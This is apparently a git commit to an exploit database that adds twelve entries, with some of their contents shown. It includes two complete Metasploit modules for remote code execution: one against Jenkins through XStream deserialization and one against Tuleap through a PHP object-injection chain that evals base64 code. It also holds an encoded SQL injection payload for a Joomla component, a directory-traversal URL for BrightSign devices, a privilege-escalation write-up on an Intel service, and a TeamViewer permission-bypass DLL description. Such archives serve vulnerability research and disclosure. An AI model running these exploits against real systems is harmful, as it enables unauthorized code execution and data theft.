From f93f05e46f2e60ada41baf74e0ea554c5d15b91a Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Wed, 20 Dec 2017 05:02:22 +0000 Subject: [PATCH] DB: 2017-12-20 12 changes to exploits/shellcodes Microsoft Windows - 'jscript!NameTbl::GetValDef' Use-After-Free Microsoft Internet Explorer 11 - 'jscript!JSONStringifyObject' Use-After-Free Microsoft Windows - 'jscript!RegExpComp::Compile' Heap Overflow Through IE or Local Network via WPAD Microsoft Windows - jscript.dll 'Array.sort' Heap Overflow Microsoft Windows - 'jscript!JsArraySlice' Uninitialized Variable Microsoft Windows - 'jscript!RegExpFncObj::LastParen' Out-of-Bounds Read Intel Content Protection HECI Service - Type Confusion Privilege Escalation TeamViewer 11 < 13 (Windows 10 x86) - Inline Hooking / Direct Memory Modification Permission Change (PoC) Tuleap 9.6 - Second-Order PHP Object Injection (Metasploit) Jenkins - XStream Groovy classpath Deserialization (Metasploit) BrightSign Digital Signage - Multiple Vulnerablities Joomla! Component NextGen Editor 2.1.0 - 'plname' SQL Injection --- exploits/hardware/webapps/43364.txt | 40 ++++++ exploits/multiple/remote/43375.rb | 141 +++++++++++++++++++++ exploits/php/remote/43374.rb | 184 +++++++++++++++++++++++++++ exploits/php/webapps/43365.txt | 27 ++++ exploits/windows/dos/43367.html | 186 ++++++++++++++++++++++++++++ exploits/windows/dos/43368.html | 140 +++++++++++++++++++++ exploits/windows/dos/43369.html | 150 ++++++++++++++++++++++ exploits/windows/dos/43370.html | 117 +++++++++++++++++ exploits/windows/dos/43371.html | 138 +++++++++++++++++++++ exploits/windows/dos/43372.html | 91 ++++++++++++++ exploits/windows/dos/43373.txt | 93 ++++++++++++++ exploits/windows/local/43366.md | 34 +++++ files_exploits.csv | 12 ++ 13 files changed, 1353 insertions(+) create mode 100644 exploits/hardware/webapps/43364.txt create mode 100755 exploits/multiple/remote/43375.rb create mode 100755 exploits/php/remote/43374.rb create mode 100644 exploits/php/webapps/43365.txt create mode 100644 exploits/windows/dos/43367.html create mode 100644 exploits/windows/dos/43368.html create mode 100644 exploits/windows/dos/43369.html create mode 100644 exploits/windows/dos/43370.html create mode 100644 exploits/windows/dos/43371.html create mode 100644 exploits/windows/dos/43372.html create mode 100644 exploits/windows/dos/43373.txt create mode 100644 exploits/windows/local/43366.md diff --git a/exploits/hardware/webapps/43364.txt b/exploits/hardware/webapps/43364.txt new file mode 100644 index 000000000..c746375c3 --- /dev/null +++ b/exploits/hardware/webapps/43364.txt @@ -0,0 +1,40 @@ +# Exploit Title: BrightSign Digital Signage (Multiple Vulnerabilities) +# Date: 12/15/17 +# Exploit Author: singularitysec@gmail.com +# Vectors: XSS, Directory Traversal, File Modification, Information Leakage + + +The BrightSign Digital Signage (4k242) device (Firmware 6.2.63 and below) +suffers from multiple vulnerabilities. + +The pages: + +/network_diagnostics.html +/storage_info.html + +Suffer from a Cross-Site Scripting vulnerability. The REF parameter for +these pages do not sanitize user input, resulting in arbitrary execution, +token theft and related attacks. + + + +The RP parameter in STORAGE.HTML suffers from a directory +traversal/information leakage weakness: +/storage.html?rp=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc + +Through parameter manipulation, the file system can be traversed, +unauthenticated, allowing for leakage of information and compromise of the +device. + +This page also allows for unauthenticated upload of files. + +/tools.html + +Page allows for unauthenticated rename/manipulation of files. + +When combined, these vulnerabilities allow for compromise of both end users +and the device itself. + +Ex. A malicious attacker can upload a malicious page of their choosing and +steal credentials, host malicious content or distribute content through the +device, which accepts large format SD cards. \ No newline at end of file diff --git a/exploits/multiple/remote/43375.rb b/exploits/multiple/remote/43375.rb new file mode 100755 index 000000000..2b02230d9 --- /dev/null +++ b/exploits/multiple/remote/43375.rb @@ -0,0 +1,141 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::Powershell + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Jenkins XStream Groovy classpath Deserialization Vulnerability', + 'Description' => %q{ + This module exploits CVE-2016-0792 a vulnerability in Jenkins versions older than 1.650 and Jenkins LTS versions + older than 1.642.2 which is caused by unsafe deserialization in XStream with Groovy in the classpath, + which allows remote arbitrary code execution. The issue affects default installations. Authentication + is not required to exploit the vulnerability. + }, + 'Author' => + [ + 'Arshan Dabirsiaghi', # Vulnerability discovery + 'Matt Byrne ' # Metasploit module + ], + 'DisclosureDate' => 'Feb 24 2016', + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2016-0792'], + ['URL', 'https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream'], + ['URL', 'https://wiki.jenkins.io/pages/viewpage.action?pageId=95585413'] + ], + 'Platform' => %w{ win linux unix }, + 'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64], + 'Targets' => [ + ['Unix (In-Memory)', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD + ], + ['Python (In-Memory)', + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON + ], + ['Linux (Dropper)', + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64] + ], + ['Windows (Dropper)', + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64] + ] + ], + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']), + Opt::RPORT('8080') + ]) + deregister_options('URIPATH') + end + + def check + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path) + }) + + unless res + fail_with(Failure::Unknown, 'The connection timed out.') + end + + http_headers = res.headers + + if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f < 1.650 + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + end + + def exploit + case target.name + when /Unix/, /Python/ + execute_command(payload.encoded) + else + execute_cmdstager + end + end + + # Exploit methods + + def execute_command(cmd, opts = {}) + cmd = case target.name + when /Unix/, /Linux/ + %W{/bin/sh -c #{cmd}} + when /Python/ + %W{python -c #{cmd}} + when /Windows/ + %W{cmd.exe /c #{cmd}} + end + + # Encode each command argument with XML entities + cmd.map! { |arg| arg.encode(xml: :text) } + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/createItem'), + 'vars_get' => { 'name' => 'random' }, + 'ctype' => 'application/xml', + 'data' => xstream_payload(cmd) + ) + end + + def xstream_payload(cmd) + < + + + + + hashCode + + + + + #{cmd.join('')} + + + start + + + + + 1 + + +EOF + end +end \ No newline at end of file diff --git a/exploits/php/remote/43374.rb b/exploits/php/remote/43374.rb new file mode 100755 index 000000000..42bfe6616 --- /dev/null +++ b/exploits/php/remote/43374.rb @@ -0,0 +1,184 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Tuleap 9.6 Second-Order PHP Object Injection', + 'Description' => %q{ + This module exploits a Second-Order PHP Object Injection vulnerability in Tuleap <= 9.6 which + could be abused by authenticated users to execute arbitrary PHP code with the permissions of the + webserver. The vulnerability exists because of the User::getRecentElements() method is using the + unserialize() function with data that can be arbitrarily manipulated by a user through the REST + API interface. The exploit's POP chain abuses the __toString() method from the Mustache class + to reach a call to eval() in the Transition_PostActionSubFactory::fetchPostActions() method. + }, + 'Author' => 'EgiX', + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://karmainsecurity.com/KIS-2017-02'], + ['URL', 'https://tuleap.net/plugins/tracker/?aid=10118'], + ['CVE', '2017-7411'] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [ ['Tuleap <= 9.6', {}] ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 23 2017' + )) + + register_options( + [ + OptString.new('TARGETURI', [true, "The base path to the web application", "/"]), + OptString.new('USERNAME', [true, "The username to authenticate with" ]), + OptString.new('PASSWORD', [true, "The password to authenticate with" ]), + OptInt.new('AID', [ false, "The Artifact ID you have access to", "1"]), + Opt::RPORT(443) + ]) + end + + def setup_popchain(random_param) + print_status("Trying to login through the REST API...") + + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api/tokens'), + 'ctype' => 'application/json', + 'data' => {'username' => user, 'password' => pass}.to_json + }) + + unless res && (res.code == 201 || res.code == 200) && res.body + msg = "Login failed with #{user}:#{pass}" + print_error(msg) if @is_check + fail_with(Failure::NoAccess, msg) + end + + body = JSON.parse(res.body) + uid = body['user_id'] + token = body['token'] + + print_good("Login successful with #{user}:#{pass}") + print_status("Updating user preference with POP chain string...") + + php_code = "null;eval(base64_decode($_POST['#{random_param}']));//" + + pop_chain = 'a:1:{i:0;a:1:{' + pop_chain << 's:2:"id";O:8:"Mustache":2:{' + pop_chain << 'S:12:"\00*\00_template";' + pop_chain << 's:42:"{{#fetchPostActions}}{{/fetchPostActions}}";' + pop_chain << 'S:11:"\00*\00_context";a:1:{' + pop_chain << 'i:0;O:34:"Transition_PostAction_FieldFactory":1:{' + pop_chain << 'S:23:"\00*\00post_actions_classes";a:1:{' + pop_chain << "i:0;s:#{php_code.length}:\"#{php_code}\";}}}}}}" + + pref = {'id' => uid, 'preference' => {'key' => 'recent_elements', 'value' => pop_chain}} + + res = send_request_cgi({ + 'method' => 'PATCH', + 'uri' => normalize_uri(target_uri.path, "api/users/#{uid}/preferences"), + 'ctype' => 'application/json', + 'headers' => {'X-Auth-Token' => token, 'X-Auth-UserId' => uid}, + 'data' => pref.to_json + }) + + unless res && res.code == 200 + msg = "Something went wrong" + print_error(msg) if @is_check + fail_with(Failure::UnexpectedReply, msg) + end + end + + def do_login + print_status("Retrieving the CSRF token for login...") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'account/login.php') + }) + + if res && res.code == 200 && res.body && res.get_cookies + if res.body =~ /name="challenge" value="(\w+)">/ + csrf_token = $1 + print_good("CSRF token: #{csrf_token}") + else + print_warning("CSRF token not found. Trying to login without it...") + end + else + msg = "Failed to retrieve the login page" + print_error(msg) if @is_check + fail_with(Failure::NoAccess, msg) + end + + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + + res = send_request_cgi({ + 'method' => 'POST', + 'cookie' => res.get_cookies, + 'uri' => normalize_uri(target_uri.path, 'account/login.php'), + 'vars_post' => {'form_loginname' => user, 'form_pw' => pass, 'challenge' => csrf_token} + }) + + unless res && res.code == 302 + msg = "Login failed with #{user}:#{pass}" + print_error(msg) if @is_check + fail_with(Failure::NoAccess, msg) + end + + print_good("Login successful with #{user}:#{pass}") + res.get_cookies + end + + def exec_php(php_code) + random_param = rand_text_alpha(10) + + setup_popchain(random_param) + session_cookies = do_login() + + print_status("Triggering the POP chain...") + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "plugins/tracker/?aid=#{datastore['AID']}"), + 'cookie' => session_cookies, + 'vars_post' => {random_param => Rex::Text.encode_base64(php_code)} + }) + + if res && res.code == 200 && res.body =~ /Exiting with Error/ + msg = "No access to Artifact ID #{datastore['AID']}" + @is_check ? print_error(msg) : fail_with(Failure::NoAccess, msg) + end + + res + end + + def check + @is_check = true + flag = rand_text_alpha(rand(10)+20) + res = exec_php("print '#{flag}';") + + if res && res.code == 200 && res.body =~ /#{flag}/ + return Exploit::CheckCode::Vulnerable + elsif res && res.body =~ /Exiting with Error/ + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Safe + end + + def exploit + @is_check = false + exec_php(payload.encoded) + end +end \ No newline at end of file diff --git a/exploits/php/webapps/43365.txt b/exploits/php/webapps/43365.txt new file mode 100644 index 000000000..9086c7324 --- /dev/null +++ b/exploits/php/webapps/43365.txt @@ -0,0 +1,27 @@ +# # # # # +# Exploit Title: Joomla! Component NextGen Editor 2.1.0 - SQL Injection +# Dork: N/A +# Date: 19.12.2017 +# Vendor Homepage: hhttp://nextgeneditor.com/ +# Software Link: https://extensions.joomla.org/extension/nextgen-editor/ +# Software Download: http://nextgeneditor.com/index.php/en/testcategory/send/2-nge-editor-full/33-nextgeneditor-full-free +# Version: 2.1.0 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: N/A +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# 1) +# http://localhost/[PATH]/index.php?option=com_nge&view=config&plname=[SQL] +# +# %22%20%20%2f%2a%21%30%37%37%37%37%50%72%6f%63%65%64%75%72%65%2a%2f%20%2f%2a%21%30%37%37%37%37%41%6e%61%6c%79%73%65%2a%2f%20%28%65%78%74%72%61%63%74%76%61%6c%75%65%2800%2c%2f%2a%21%30%37%37%37%37%63%6f%6e%63%61%74%2a%2f%280x27%2c0x496873616e2053656e63616e%2c0x3a%2c%40%40%76%65%72%73%69%6f%6e%29%29%2c0%29%2d%2d%20%2d +# +# # # # # \ No newline at end of file diff --git a/exploits/windows/dos/43367.html b/exploits/windows/dos/43367.html new file mode 100644 index 000000000..8ab9093a9 --- /dev/null +++ b/exploits/windows/dos/43367.html @@ -0,0 +1,186 @@ + + + + + + + \ No newline at end of file diff --git a/exploits/windows/dos/43368.html b/exploits/windows/dos/43368.html new file mode 100644 index 000000000..210e602dd --- /dev/null +++ b/exploits/windows/dos/43368.html @@ -0,0 +1,140 @@ + + + + + + + \ No newline at end of file diff --git a/exploits/windows/dos/43369.html b/exploits/windows/dos/43369.html new file mode 100644 index 000000000..f50d83fbf --- /dev/null +++ b/exploits/windows/dos/43369.html @@ -0,0 +1,150 @@ + + + + + + + + + + + + + \ No newline at end of file diff --git a/exploits/windows/dos/43370.html b/exploits/windows/dos/43370.html new file mode 100644 index 000000000..f7936e574 --- /dev/null +++ b/exploits/windows/dos/43370.html @@ -0,0 +1,117 @@ + + + + + + + \ No newline at end of file diff --git a/exploits/windows/dos/43371.html b/exploits/windows/dos/43371.html new file mode 100644 index 000000000..beb7f876b --- /dev/null +++ b/exploits/windows/dos/43371.html @@ -0,0 +1,138 @@ + + + + + + + \ No newline at end of file diff --git a/exploits/windows/dos/43372.html b/exploits/windows/dos/43372.html new file mode 100644 index 000000000..7e3114ef2 --- /dev/null +++ b/exploits/windows/dos/43372.html @@ -0,0 +1,91 @@ + + + + + + + \ No newline at end of file diff --git a/exploits/windows/dos/43373.txt b/exploits/windows/dos/43373.txt new file mode 100644 index 000000000..fabe5ef6c --- /dev/null +++ b/exploits/windows/dos/43373.txt @@ -0,0 +1,93 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1358 + +Intel Content Protection HECI Service Type Confusion EoP +Platform: Tested on Windows 10, service version 9.0.2.117 +Class: Elevation of Privilege + +Summary: +The Intel Content Protection HECI Service exposes a DCOM object to all users and most sandboxes (such as Edge LPAC and Chrome GPU). It has a type confusion vulnerability which can be used to elevate to SYSTEM privileges. + +Description: + +The Intel Content Protection HECI Service runs as LocalSystem and hosts a DCOM service. The main function is StartIo which takes an input variant and returns a variant. Based on what it’s trying to do I’d assume the input variant is supposed to be a byte array, however it contains a bug. + +The vulnerable code is roughly: + +HRESULT StartIo(VARIANT In, VARIANT* Out) { + CComSafeArray array; + array::CopyFrom(In.parray); + // Work with array + ... +} + +The issue here is that the In variant is used as a SAFEARRAY without checking that the VARIANT contains a SAFEARRAY. This leads to type confusion, for example a caller could pass VT_UI4 integer with any value they like and this code would interpret that integer as a pointer to a SAFEARRAY structure. This might seem to be only an arbitrary read issue, however the copy of the safe array can be made to execute arbitrary memory. If you point the type confused pointer at a block of memory which looks like a IUnknown array then when copying the array it will try and add a reference to each COM object in the array. This causes a VTable dispatch to AddRef which if carefully crafted should get arbitrary code execution. + +The call to CopyFrom does verify that the variant type is VT_UI1 (a byte array) however you can set some feature flags such as FADF_UNKNOWN which will force a call to IUnknown::AddRef on the elements of the array without changing the supposed variant type. Also you don’t need to guess the allocation address for the fake safearray as you can use a byte length BSTR which contains arbitrary data. The BSTR length field and the SAFEARRAY variant field lines up so as long as the lower 16 bits of the length is set to 17 (which is VT_UI1) it passes the checks and reads out the arbitrary contents from the allocated BSTR. + +The really bad thing about this service is not only is it intentionally designed to be accessible from even a heavily restrictive sandbox such as Edge LPAC but it runs with full LocalSystem privileges. While on Win10 CFG might make it harder to exploit, on Win7 you don’t have any such protection. Also the call is done inside an exception handler so even if the wrong address is chosen the service won’t crash (except for fast fail such as CFG). + +The following is an example crash when sending a fake safe array to the service (with just a dummy address of 0x18181818 as the IUnknown memory location). + +(1110.1188): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +eax=18181818 ebx=001e6290 ecx=18181818 edx=00209390 esi=11d41024 edi=18181818 +eip=18181818 esp=0126efc4 ebp=0126efec iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +18181818 1818 sbb byte ptr [eax],bl ds:002b:18181818=18 +0:003> k + # ChildEBP RetAddr +WARNING: Frame IP not in any known module. Following frames may be wrong. +00 0126efc0 74f740fb 0x18181818 +01 0126efec 74f73e42 OLEAUT32!SafeArrayCopyData+0x21b +02 0126f018 010335d3 OLEAUT32!SafeArrayCopy+0x182 +03 0126f030 01034e1b IntelCpHeciSvc+0x135d3 +04 0126f118 750326e0 IntelCpHeciSvc+0x14e1b +05 0126f144 74ff4fc2 RPCRT4!Invoke+0x34 +06 0126f598 7525555e RPCRT4!NdrStubCall2+0x452 +07 0126f5e4 74f70706 combase!CStdStubBuffer_Invoke+0xde [onecore\com\combase\ndr\ndrole\stub.cxx @ 1449] +08 0126f614 75300c48 OLEAUT32!CUnivStubWrapper::Invoke+0x136 +09 (Inline) -------- combase!InvokeStubWithExceptionPolicyAndTracing::__l6::::operator()+0x4e [onecore\com\combase\dcomrem\channelb.cxx @ 1824] +0a 0126f668 75303621 combase!ObjectMethodExceptionHandlingAction< >+0xa8 [onecore\com\combase\dcomrem\excepn.hxx @ 91] +0b (Inline) -------- combase!InvokeStubWithExceptionPolicyAndTracing+0x8e [onecore\com\combase\dcomrem\channelb.cxx @ 1822] +0c 0126f78c 75307330 combase!DefaultStubInvoke+0x221 [onecore\com\combase\dcomrem\channelb.cxx @ 1891] +0d (Inline) -------- combase!SyncStubCall::Invoke+0x22 [onecore\com\combase\dcomrem\channelb.cxx @ 1948] +0e (Inline) -------- combase!SyncServerCall::StubInvoke+0x22 [onecore\com\combase\dcomrem\servercall.hpp @ 779] +0f (Inline) -------- combase!StubInvoke+0x287 [onecore\com\combase\dcomrem\channelb.cxx @ 2173] +10 0126f90c 7530009b combase!ServerCall::ContextInvoke+0x440 [onecore\com\combase\dcomrem\ctxchnl.cxx @ 1541] +11 (Inline) -------- combase!CServerChannel::ContextInvoke+0x669 [onecore\com\combase\dcomrem\ctxchnl.cxx @ 1437] +12 (Inline) -------- combase!DefaultInvokeInApartment+0x669 [onecore\com\combase\dcomrem\callctrl.cxx @ 3532] +13 (Inline) -------- combase!ClassicSTAInvokeInApartment+0x669 [onecore\com\combase\dcomrem\callctrl.cxx @ 3296] +14 0126f9ac 75302b39 combase!AppInvoke+0x8bb [onecore\com\combase\dcomrem\channelb.cxx @ 1604] +15 0126fb3c 7530ff85 combase!ComInvokeWithLockAndIPID+0x599 [onecore\com\combase\dcomrem\channelb.cxx @ 2722] +16 0126fb98 7531056b combase!ComInvoke+0x1c5 [onecore\com\combase\dcomrem\channelb.cxx @ 2242] +17 (Inline) -------- combase!ThreadDispatch+0x83 [onecore\com\combase\dcomrem\chancont.cxx @ 421] +18 0126fbd8 76b12b5b combase!ThreadWndProc+0x21b [onecore\com\combase\dcomrem\chancont.cxx @ 741] +19 0126fc04 76b050f3 USER32!_InternalCallWinProc+0x2b +1a 0126fcec 76b04a82 USER32!UserCallWinProcCheckWow+0x2d3 +1b 0126fd60 76b04850 USER32!DispatchMessageWorker+0x222 +1c 0126fd6c 010364e1 USER32!DispatchMessageW+0x10 +1d 0126fda0 01037039 IntelCpHeciSvc+0x164e1 +1e 0126fda8 0103e562 IntelCpHeciSvc+0x17039 +1f 0126fde0 0103e5ec IntelCpHeciSvc+0x1e562 +20 0126fdec 76928744 IntelCpHeciSvc+0x1e5ec +21 0126fe00 770a582d KERNEL32!BaseThreadInitThunk+0x24 +22 0126fe48 770a57fd ntdll!__RtlUserThreadStart+0x2f +23 0126fe58 00000000 ntdll!_RtlUserThreadStart+0x1b + +Proof of Concept: + +I’ve provided a PoC as a VS project which you can run which will cause the service to access invalid memory. Note that you’ll need a debugger attached to IntelCpHeciSvc.exe as the RPC/DCOM dispatch will swallow the exception, it doesn’t crash the service. The Poc builds a fake SAFEARRAY structure and passes it as a BSTR to the service which gets interpreted as a pointer to a SAFEARRAY. Ultimately it tries to copy the array and will call AddRef on elements of the array. + +1) Attach a debugger to IntelCpHeciSvc.exe +2) Compile and run the provided poc. + +Expected Result: +Sending the fake SAFEARRAY should fail. + +Observed Result: +The service tries to execute invalid memory at 0x18181818 (or at least crashes on an invalid memory location). + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43373.zip \ No newline at end of file diff --git a/exploits/windows/local/43366.md b/exploits/windows/local/43366.md new file mode 100644 index 000000000..50ed85f48 --- /dev/null +++ b/exploits/windows/local/43366.md @@ -0,0 +1,34 @@ +# TeamViewer Permissions Hook V1 +--- +[![License](http://img.shields.io/badge/license-MIT-green.svg)](https://github.com/gellin/TeamViewer_Permissions_Hook_V1/blob/master/LICENSE) + +**A proof of concept injectable C++ DLL, that uses naked inline hooking and direct memory modification to change TeamViewer permissions.** + +## Features +* **As the Server** - Enables extra menu item options on the right side pop-up menu. Most useful so far to enable the "switch sides" feature which is normally only active after you have already authenticated control with the client, and initiated a change of control/sides. +* **As the Client** - Allows for control of mouse with disregard to servers current control settings and permissions. + +## Demo + +#### As the Server +![](https://raw.githubusercontent.com/gellin/TeamViewer_Permissions_Hook_V1/84b3aecd8f65f138989d460740b52195f0b1e1ac/server_switch_sides.gif) + +#### Client +![](https://raw.githubusercontent.com/gellin/TeamViewer_Permissions_Hook_V1/84b3aecd8f65f138989d460740b52195f0b1e1ac/client_takes_control.gif) + +## Rundown +* Utilizes signature/pattern scanning to dynamically locate key parts in the code at which the assembly registers hold pointers to interesting classes. Applies inline naked hooks a.k.a code caves, to hi-jack the pointers to use for modification via direct memory access to their reversed classes. +* Inject and follow the steps + +## Requirements +* Your favorite Manual Mapper, PE Loader, DLL Injector, inject into - "TeamViewer.exe" +* This version was Built on Windows 10, for TeamViewer x86 Version 13.0.5058 - (Other versions of TeamViewer have not been tested but with more robust signatures it may work, linux not supported) + +## Disclaimer +* Developed for educational purposes as a proof of concept for testing. I do not condone the or support the use of this software for unethical or illicit purposes. No responsibility is held or accepted for misuse. + +## Credit +[@timse93](https://github.com/timse93) - Research and Testing + +## EDB-Note +Download ~ https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43366.zip \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 7e79321a2..db7b379ef 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -5424,6 +5424,13 @@ id,file,description,date,author,type,platform,port 43352,exploits/windows/dos/43352.py,"CDex 1.96 - Buffer Overflow",2017-12-18,bzyo,dos,windows, 43354,exploits/linux/dos/43354.txt,"Zoom Linux Client 2.0.106600.0904 - Command Injection",2017-12-18,Conviso,dos,linux, 43355,exploits/linux/dos/43355.txt,"Zoom Linux Client 2.0.106600.0904 - Stack-Based Buffer Overflow",2017-12-18,Conviso,dos,linux, +43367,exploits/windows/dos/43367.html,"Microsoft Windows - 'jscript!NameTbl::GetValDef' Use-After-Free",2017-12-19,"Google Security Research",dos,windows, +43368,exploits/windows/dos/43368.html,"Microsoft Internet Explorer 11 - 'jscript!JSONStringifyObject' Use-After-Free",2017-12-19,"Google Security Research",dos,windows, +43369,exploits/windows/dos/43369.html,"Microsoft Windows - 'jscript!RegExpComp::Compile' Heap Overflow Through IE or Local Network via WPAD",2017-12-19,"Google Security Research",dos,windows, +43370,exploits/windows/dos/43370.html,"Microsoft Windows - jscript.dll 'Array.sort' Heap Overflow",2017-12-19,"Google Security Research",dos,windows, +43371,exploits/windows/dos/43371.html,"Microsoft Windows - 'jscript!JsArraySlice' Uninitialized Variable",2017-12-19,"Google Security Research",dos,windows, +43372,exploits/windows/dos/43372.html,"Microsoft Windows - 'jscript!RegExpFncObj::LastParen' Out-of-Bounds Read",2017-12-19,"Google Security Research",dos,windows, +43373,exploits/windows/dos/43373.txt,"Intel Content Protection HECI Service - Type Confusion Privilege Escalation",2017-12-19,"Google Security Research",dos,windows, 41623,exploits/windows/dos/41623.html,"Microsoft Edge 38.14393.0.0 - JavaScript Engine Use-After-Free",2017-03-16,"Google Security Research",dos,windows, 41629,exploits/windows/dos/41629.py,"FTPShell Client 6.53 - 'Session name' Local Buffer Overflow",2017-03-17,ScrR1pTK1dd13,dos,windows, 41637,exploits/windows/dos/41637.py,"FTPShell Server 6.56 - 'ChangePassword' Buffer Overflow",2017-03-19,ScrR1pTK1dd13,dos,windows, @@ -9223,6 +9230,7 @@ id,file,description,date,author,type,platform,port 41607,exploits/windows/local/41607.cs,"Microsoft Windows - COM Session Moniker Privilege Escalation (MS17-012)",2017-03-15,"Google Security Research",local,windows, 41619,exploits/windows/local/41619.txt,"Windows DVD Maker 6.1.7 - XML External Entity Injection",2017-03-16,hyp3rlinx,local,windows, 43359,exploits/linux/local/43359.c,"Firejail < 0.9.44.4 / < 0.9.38.8 LTS - Local Sandbox Escape",2017-01-04,"Sebastian Krahmer",local,linux, +43366,exploits/windows/local/43366.md,"TeamViewer 11 < 13 (Windows 10 x86) - Inline Hooking / Direct Memory Modification Permission Change (PoC)",2017-12-04,gellin,local,windows, 41675,exploits/android/local/41675.rb,"Google Android 4.2 Browser and WebView - 'addJavascriptInterface' Code Execution (Metasploit)",2012-12-21,Metasploit,local,android, 41683,exploits/multiple/local/41683.rb,"Mozilla Firefox < 17.0.1 - Flash Privileged Code Injection (Metasploit)",2013-01-08,Metasploit,local,multiple, 41700,exploits/windows/local/41700.rb,"Sun Java Web Start Plugin - Command Line Argument Injection (Metasploit)",2010-04-09,Metasploit,local,windows, @@ -15850,6 +15858,8 @@ id,file,description,date,author,type,platform,port 43353,exploits/android/remote/43353.py,"Outlook for Android - Attachment Download Directory Traversal",2017-12-18,"Google Security Research",remote,android, 43356,exploits/php/remote/43356.rb,"Western Digital MyCloud - 'multi_uploadify' File Upload (Metasploit)",2017-12-18,Metasploit,remote,php, 43360,exploits/linux/remote/43360.py,"GoAhead httpd 2.5 < 3.6.5 - 'LD_PRELOAD' Remote Code Execution",2017-12-18,"Daniel Hodson",remote,linux,80 +43374,exploits/php/remote/43374.rb,"Tuleap 9.6 - Second-Order PHP Object Injection (Metasploit)",2017-12-19,Metasploit,remote,php,443 +43375,exploits/multiple/remote/43375.rb,"Jenkins - XStream Groovy classpath Deserialization (Metasploit)",2017-12-19,Metasploit,remote,multiple,8080 41638,exploits/windows/remote/41638.txt,"HttpServer 1.0 - Directory Traversal",2017-03-19,malwrforensics,remote,windows, 41666,exploits/windows/remote/41666.py,"Disk Sorter Enterprise 9.5.12 - 'GET' Remote Buffer Overflow (SEH)",2017-03-22,"Daniel Teixeira",remote,windows, 41672,exploits/windows/remote/41672.rb,"SysGauge 1.5.18 - SMTP Validation Buffer Overflow (Metasploit)",2017-02-28,Metasploit,remote,windows, @@ -37640,6 +37650,8 @@ id,file,description,date,author,type,platform,port 43361,exploits/multiple/webapps/43361.md,"vBulletin 5 - 'routestring' Unauthenticated Remote Code Execution",2017-12-13,SecuriTeam,webapps,multiple, 43362,exploits/multiple/webapps/43362.md,"vBulletin 5 - 'cacheTemplates' Unauthenticated Remote Arbitrary File Deletion",2017-12-13,SecuriTeam,webapps,multiple, 43363,exploits/hardware/webapps/43363.py,"Linksys WVBR0 - 'User-Agent' Remote Command Injection",2017-12-14,nixawk,webapps,hardware, +43364,exploits/hardware/webapps/43364.txt,"BrightSign Digital Signage - Multiple Vulnerablities",2017-12-19,"Information Paradox",webapps,hardware, +43365,exploits/php/webapps/43365.txt,"Joomla! Component NextGen Editor 2.1.0 - 'plname' SQL Injection",2017-12-19,"Ihsan Sencan",webapps,php, 41622,exploits/php/webapps/41622.py,"Wordpress Plugin Membership Simplified 1.58 - Arbitrary File Download",2017-03-16,"The Martian",webapps,php, 41625,exploits/hardware/webapps/41625.txt,"AXIS Communications - Cross-Site Scripting / Content Injection",2017-03-17,Orwelllabs,webapps,hardware, 41626,exploits/hardware/webapps/41626.txt,"AXIS (Multiple Products) - Cross-Site Request Forgery",2017-03-17,Orwelllabs,webapps,hardware,